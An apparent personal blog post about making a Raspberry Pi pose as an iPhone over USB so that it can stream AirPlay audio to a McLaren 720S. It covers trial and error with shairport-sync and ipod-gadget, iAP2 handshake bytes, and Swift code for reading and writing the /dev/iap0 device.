Turns out people have already done this with the McLaren 650S and below, apparently adb is running if you connect your car to the iPod USB port. They sadly patched this for the 720S. In addition, after trying some other things, I realized it wasn't actually Android, but a different embedded Linux system entirely (long story… probably for a future blog post maybe)… so I guess I'll just take the dash apart and try to jailbreak it myself?

Yeah… no. Given how fun of a project that would be to try, I'd really rather not accidentally brick my car. I don't think the dealership would be cool with me bringing it in for service to somehow reflash the infotainment system with a proper image because I managed to get it to not turn on anymore. Loads of Android devices are trivial to hack since they all have fastboot and you can just restore it if you mess something up, but I'm gonna wager that nobody has dumped the software off this system nor has McLaren hosted bootloader images on GitHub. It also seems extremely cumbersome to try and take all of the dash apart, so… yeah, no.

Feeling rather bummed that his avenue was not gonna happen, I started thinking about what I was trying to optimize for: enable wireless playback of my music in my car, with media controls, and at the highest bitrate I can (or at least better than Bluetooth). It was at this point that I remembered that wireless CarPlay operates by first setting up a WiFi network over Bluetooth and then streams CarPlay via AirPlay over WiFi to the car. So maybe I could make my own "CarPlay"? What if somehow I added AirPlay to my car? I saw projects where people ripped up old AirPort Expresses, but I needed to run off a cigarette lighter and not have something nuke the small racecar-optimized battery, so I settled on a Raspberry Pi. They only require 5v at like 5 or 6 watts or so, so the energy usage would be mostly the same as having my iPhone plugged in.

Upon setting up a lite version of Raspbian, I started looking for projects that implemented an open source AirPlay receiver server and I came across shairport-sync. Turns out Mike Brady did all the hard work and already thought of this use case (thank you Mike!). Once setup, you'll have a Raspberry Pi that broadcasts a WiFi network and an AirPlay server that'll output whatever it receives over 3.5mm / AUX. My car did in fact have a 3.5mm input jack, however initial testing resulted in a ton of electrical noise (static, clicking, etc.) coming out the speakers. Turns out the way my car was wired up really didn't like the electrical interference that was created when you hooked a Raspberry Pi up to the cigarette lighter or iPod USB port and then played that same device over 3.5mm back into the car. After spending a couple days trying to debug and troubleshoot with some ground-loop inhibitors and various cables, I still couldn't get a clean signal (maybe it was still interference, maybe just the Pi's DAC, no idea), so I started over.

iPod USB

It turns out the Raspberry Pi's USB-C port supports USB OTG, meaning the Raspberry Pi could dynamically switch that USB port from being a host port (e.g. hosting a keyboard) to a device port (e.g. act as a device that the car could host).

I then started looking through tons of stuff to see how I could somehow "emulate" an iPod via my Raspberry Pi. I looked through RockBox source code, thought about virtual machines, anything really, but I eventually stumbled across ipod-gadget.

This project was perfect:

ipod-gadget simulates an iPod USB device to stream digital audio to iPod compatible devices/docks. It speaks iAP (iPod Accessory Protocol) and starts an audio streaming session.

So assuming this works, I could plug the Raspberry Pi into the car and have it think it's an iPod. I had doubts it would work without issue as it had tons of patches for specific stereo head units, but I set it up just to see what would happen. I configured Shairport Sync to use hw:iPodUSB as this was the ALSA audio device that it exposes, went to the car, plugged it in and…

UNSUPPORTED DEVICE

:(

So either the car didn't recognize the "iPod" or the "iPod" didn't recognize the car. The ipod-gadget project involves two parts:

1. A Linux character device (/dev/iap0`) you send stuff to (to send over USB)
2. A client app (ipod) written in Go that talks to said device.

Upon trying to inspect the logs output by the ipod server binary, it didn't produce anything meaningful. I then did a sanity check with my home stereo to see if it would do anything, and it worked perfectly.

I brought it back to the car and tried again just to see, and no matter what I tried, it would constantly fail to connect. I then re-checked the logs with the ipod server running on the Pi with more verbosity and then I noticed there were a bunch of packets that would fail to parse and would be dropped. So I patched that bit of code to just spit out raw bytes to see if I could get anything.

A few things seemed to stream out and then it would just stop (here, >>> means incoming, as in car -> Raspberry Pi).

>>> 0xFF 0x55 0x02 0x00 0xEE 0x10 0x00 0x00

>>> 0xFF 0x55 0x02 0x00 0xEE 0x10 0x00 0x00

>>> 0xFF 0x55 0x02 0x00 0xEE 0x10 0x00 0x00

I took what I saw, and dumped it into the GitHub search box.

🤷‍♂️

I wish it would've been that easy. Trying a few permutations finally lead me somewhere...

This search result was just pure luck, but it was super helpful. Notice how the first result is Rockbox, which is an open source media player implementation that runs on old iPods. As such it also implements the same protocol as the ipod-gadget (iAP). However, it isn't referencing that byte sequence we're looking for, the project below it wiomoc/iap2 is.

Upon reading wiomoc's extremely helpful blog post I now knew what I was dealing with.

My car's stereo didn't implement iAP1… but iAP2 and has "iPod" listed in the car's infotainment as in "iPod Accessory Protocol"… not necessarily supporting "iPod devices". So having read through most of Christoph's (wiomoc) post (thank you for writing this!), I got the idea to just send back the same sequence of bytes the car was sending me. Apparently this is a way for a device to acknowledge that it talks iAP2.

I modified the go ipod project and upon doing this, I had thousands of bytes streaming on the screen to parse through (here, <<< means outgoing, as in Raspberry Pi -> car):

>>> 0xFF 0x55 0x02 0x00 0xEE 0x10 0x00 0x00

<<< 0xFF 0x55 0x02 0x00 0xEE 0x10 0x00 0x00

>>> 0xFF 0x5A 0x00 0x1D 0x80 0x74 0x00 0x00 
    0x96 0x01 0x05 0x10 0x00 0x0F 0xA0 0x00 
    0x49 0x1E 0x05 0x0A 0x00 0x01 0x0C 0x01 
    0x01 0x0B 0x02 0x01 0xA8 0x00 0x00 0x00 ...

Neat.

Now what?

Upon reading more of the blog post and iap2 project, I realized I was probably going to have to do a lot of stuff on my own. Apple's iAP2 protocol documentation is only available to members of Apple's MFI program, and to qualify for the program, you basically have to be an accessory maker (e.g. Belkin) that makes or ships thousands of MFI devices. As such, I basically only had open source projects to go off, and thankfully the iap2 project was enough to get me started.

Let's Emulate an iPhone in Swift

The idea, in theory, was what if I could just take my Raspberry Pi and convert it into an "iPhone", but only do enough of the parts that iAP2 cares about to play audio.

To start, I used the ipod-gadget project again in order to reuse that character device /dev/iap0 over which I could send and receive bytes. This project already has the correct USB HID descriptors and whatnot setup to mask as an iPhone, so it saved a lot of time doing the basics.

Next I started a Swift command line utility project that I could compile and run on Linux (since I was running this on a Raspberry Pi).

Sidenote: Swift on Linux is pretty great nowadays. You can just build and run on Linux. You can't use Xcode to debug on Linux, but it's pretty trivial to debug remotely with Visual Studio and the various extensions.

After that, I setup the basis for reading and writing bytes to/from the character device using a DispatchSource both for input and output:

self.io = try! FileDescriptor.open("/dev/iap0", .readWrite, permissions: .ownerReadWriteExecute)
self.buffer = UnsafeMutableRawBufferPointer.allocate(byteCount: 1024, alignment: MemoryLayout<UInt8>.alignment)

self.queue = DispatchQueue(label: "ca.adambell.HIDReader", qos: .userInitiated, autoreleaseFrequency: .workItem)
self.source = DispatchSource.makeReadSource(fileDescriptor: io.rawValue, queue: queue)
source!.setEventHandler { [weak self] in
    guard let self else { return }
    do {
        let bytesRead = try io.read(into: buffer)
        
        ipod.parseBytes(bytesRead)
    } catch {
				
    }
}

For output, all I had to do was encode stuff as little-endian bytes and write them to the character device:

self.queue = DispatchQueue(label: "ca.adambell.HIDWriter", qos: .userInitiated, autoreleaseFrequency: .workItem)
self.source = DispatchSource.makeWriteSource(fileDescriptor: io.rawValue, queue: queue)
source.setEventHandler { [weak self] in
    guard let self else { return }

    while let report = reportQueue.popFirst() {
        _write(report)
    }

    if reportQueue.isEmpty {
        source.suspend()
        self.writing = false
    }
}

let bytesToSend = [0xff, 0x55, 0x02, 0x00, 0xee, 0x10, 0x00, 0x00]

queue.async { [weak self] in
    guard let self else { return }

    reportQueue.append(bytesToSend)
		source.resume()
}

Originally I tried using Swift 6 actors / async / await, however I had to switch back to plain old Dispatch as it turns out that Task and DispatchSource really don't play nicely together yet (see: FB14132060) :(

So once I got the project up and running I began map out what exactly I wanted to get working:

1. Music Playback (obviously)
2. Track Metadata (hopefully cover art?)
3. Media Controls (if I can make it work)

The infotainment system in the car supports a bunch of stuff like browsing your Music library and accessing playlists, but I didn't care about much of that since I was just going to be using AirPlay. I could control all that from my iPhone mounted to the dash.

Continuing on, I got back to the same spot I was at with reading bytes with the original ipod client (however, at this point it was all in Swift!):